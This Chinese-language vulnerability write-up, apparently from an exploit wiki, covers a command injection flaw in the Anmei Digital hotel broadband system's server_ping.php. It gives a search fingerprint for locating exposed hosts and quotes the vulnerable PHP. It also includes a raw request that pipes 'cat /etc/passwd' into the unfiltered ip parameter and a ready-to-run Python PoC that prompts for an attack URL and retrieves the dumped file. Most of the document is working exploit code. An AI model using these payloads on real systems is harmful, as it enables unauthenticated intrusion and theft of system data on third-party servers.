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155 lines
4.2 KiB
Markdown
155 lines
4.2 KiB
Markdown
# 安美数字 酒店宽带运营系统 server_ping.php 远程命令执行漏洞
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# 漏洞描述
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安美数字 酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞，漏洞文件中ip参数未过滤造成命令执行
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## 漏洞影响
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```
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安美数字 酒店宽带运营系统
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```
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## 网络测绘
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```
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"酒店宽带运营"
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```
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## 漏洞复现
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登录页面如下
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存在漏洞的文件为 **server_ping.php**
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```php
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<?
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if (!isset($ip) || $ip == "" || !isset($id) || $id == "") exit;
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$cmd = "ping -c 2 -s 65 $ip";
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$fp = popen($cmd, "r");
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$getString = "";
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if ($fp) {
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while (($line = fgets($fp, 512))) {
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$getString .= trim($line);
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}
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pclose($fp);
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}
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if (strstr($getString, "2 received, 0%")) {
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echo "<html><body><script language=\"javascript\">\n";
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echo "parent.doTestResult('$id', 'ok');\n";
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echo "</script></body></html>\n";
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} else {
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echo "<html><body><script language=\"javascript\">\n";
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echo "parent.doTestResult('$id', 'no');\n";
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echo "</script></body></html>\n";
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}
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?>
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```
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漏洞位置为
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```plain
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$cmd = "ping -c 2 -s 65 $ip";
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$fp = popen($cmd, "r");
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```
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GET传入 **$ip参数** 后直接命令执行，并且文件无权限要求
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请求包为
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```plain
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GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../test.txt&id=1 HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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```
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## 漏洞POC
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```python
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#!/usr/bin/python3
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#-*- coding:utf-8 -*-
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# author : PeiQi
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# from : http://wiki.peiqi.tech
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import base64
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import requests
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import random
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import re
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import json
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import sys
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 安美数字 酒店宽带运营系统 server_ping.php 远程命令执行漏洞 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../test.txt&id=1"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
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print("\033[36m[o] 正在执行 cat /etc/passwd>../../test.txt \033[0m".format(target_url))
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if "parent" in response.text and response.status_code == 200:
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vuln_url = target_url + "/test.txt"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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}
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10)
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if "root:" in response.text:
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print("\033[36m[o] 成功执行 cat /etc/passwd, 响应为:\n{} \033[0m".format(response.text))
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else:
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print("\033[31m[x] 请求失败:{} \033[0m")
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else:
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print("\033[31m[x] 请求失败 \033[0m")
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except Exception as e:
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print("\033[31m[x] 请求失败:{} \033[0m".format(e))
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sys.exit(0)
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#
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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